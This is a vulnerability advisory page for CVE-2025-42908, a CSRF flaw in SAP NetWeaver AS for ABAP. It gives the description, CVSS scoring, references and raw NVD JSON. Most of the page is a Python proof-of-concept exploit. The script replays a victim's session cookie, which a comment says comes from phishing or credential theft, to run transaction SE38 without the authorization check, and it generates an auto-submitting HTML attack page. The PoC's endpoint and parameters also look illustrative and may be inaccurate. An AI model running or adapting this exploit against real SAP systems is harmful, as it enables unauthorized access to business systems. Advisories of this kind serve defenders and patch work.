CVE-2025-42908

Description

Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP NetWeaver Application Server for ABAP, an authenticated attacker could initiate transactions directly via the session manager, bypassing the first transaction screen and the associated authorization check. This vulnerability could allow the attacker to perform actions and execute transactions that would normally require specific permissions, compromising the integrity and confidentiality of the system by enabling unauthorized access to restricted functionality. There is no impact to availability from this vulnerability.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP NetWeaver Application Server for ABAP - 所有未安装SAP Security Note 3642021的版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-42908 - SAP NetWeaver AS for ABAP CSRF Vulnerability PoC
# This PoC demonstrates the CSRF attack vector against SAP NetWeaver AS for ABAP
# The vulnerability allows bypassing the first transaction screen and authorization check

import requests
from urllib.parse import urljoin

# Configuration
TARGET_URL = "https://sap-target-server:port"  # Target SAP NetWeaver AS for ABAP server
SESSION_COOKIE = "MYSAPSSO2=..."  # Valid session cookie of authenticated user (obtained via phishing/credential theft)
TARGET_TCODE = "SE38"  # Target transaction code to execute (e.g., ABAP Editor)

# Step 1: Construct the CSRF payload
# The attack bypasses the initial screen and authorization check
# by directly invoking the transaction through the session manager
def craft_csrf_payload(tcode):
    """
    Craft a CSRF payload that directly invokes a transaction
    bypassing the first screen and authorization check.
    """
    # The malicious request targets the SAP session manager endpoint
    # directly with the transaction code, skipping the initial screen
    payload = {
        "~okcode": f"/{tcode}",  # OK code to trigger transaction
        "TCODE": tcode,           # Transaction code parameter
    }
    return payload

# Step 2: Send the CSRF request with the victim's session cookie
def exploit_csrf(target_url, session_cookie, tcode):
    """
    Exploit the CSRF vulnerability by sending a crafted request
    with the victim's authenticated session.
    """
    # SAP NetWeaver session manager endpoint
    endpoint = urljoin(target_url, "/sap/bc/gui/sap/its/webgui")

    # Headers to simulate a legitimate request
    headers = {
        "Cookie": session_cookie,
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": "https://malicious-site.com/csrf.html",  # Attacker's controlled referer
        "User-Agent": "Mozilla/5.0 (compatible; SAP NetWeaver Client)"
    }

    # Craft the CSRF payload
    payload = craft_csrf_payload(tcode)

    # Send the request - the session manager will process it
    # without checking the first screen or authorization
    response = requests.post(
        endpoint,
        data=payload,
        headers=headers,
        verify=False  # In production, handle SSL properly
    )

    return response

# Step 3: Alternative - HTML-based CSRF for browser-based attacks
def generate_csrf_html(tcode, target_url):
    """
    Generate an HTML page that triggers the CSRF attack
    when visited by an authenticated SAP user.
    """
    html_content = f"""
    <!DOCTYPE html>
    <html>
    <head><title>Loading...</title></head>
    <body>
        <!-- Auto-submitting form to trigger CSRF -->
        <form id="csrf-form" action="{target_url}/sap/bc/gui/sap/its/webgui" method="POST">
            <input type="hidden" name="~okcode" value="/{tcode}" />
            <input type="hidden" name="TCODE" value="{tcode}" />
        </form>
        <script>document.getElementById('csrf-form').submit();</script>
    </body>
    </html>
    """
    return html_content

# Main execution
if __name__ == "__main__":
    print(f"[*] Targeting SAP NetWeaver AS for ABAP CSRF (CVE-2025-42908)")
    print(f"[*] Target: {TARGET_URL}")
    print(f"[*] Transaction Code: {TARGET_TCODE}")

    # Execute the CSRF exploit
    response = exploit_csrf(TARGET_URL, SESSION_COOKIE, TARGET_TCODE)

    if response.status_code == 200:
        print("[+] CSRF exploit successful - Transaction executed without authorization check")
    else:
        print(f"[-] Exploit failed with status code: {response.status_code}")

    # Generate CSRF HTML page for browser-based attack
    csrf_html = generate_csrf_html(TARGET_TCODE, TARGET_URL)
    with open("csrf_exploit.html", "w") as f:
        f.write(csrf_html)
    print("[+] CSRF HTML page saved to csrf_exploit.html")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-42908
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-42908
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-42908/
[4] VulDB https://vuldb.com/cve/CVE-2025-42908
[5] https://me.sap.com/notes/3642021
[6] https://url.sap/sapsecuritypatchday

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-42908", "sourceIdentifier": "[email protected]", "published": "2025-10-14T01:15:32.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to a Cross-Site Request Forgery (CSRF) vulnerability in SAP NetWeaver Application Server for ABAP, an authenticated attacker could initiate transactions directly via the session manager, bypassing the first transaction screen and the associated authorization check. This vulnerability could allow the attacker to perform actions and execute transactions that would normally require specific permissions, compromising the integrity and confidentiality of the system by enabling unauthorized access to restricted functionality. There is no impact to availability from this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://me.sap.com/notes/3642021", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}